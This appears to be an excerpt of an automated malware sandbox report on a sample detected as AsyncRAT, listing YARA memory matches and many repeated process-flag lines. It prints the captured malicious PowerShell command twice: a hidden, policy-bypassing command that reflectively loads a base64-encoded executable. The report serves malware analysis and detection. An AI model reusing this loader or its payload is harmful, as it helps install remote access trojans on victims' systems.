File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Data Obfuscation

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String('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
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -NoExit -command [System.Reflection.Assembly]::Load([System.Convert]::FromBase64String('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

Boot Survival

Yara detected AsyncRAT

Source: Yara match	File source: 0000000F.00000002.1735219264.000001FA636A6000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2420233433.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2427144968.0000000003405000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000010.00000002.2424988500.00000000014F6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Source: C:\Windows\System32\notepad.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\notepad.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\notepad.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe	Process information set: NOOPENFILEERRORBOX
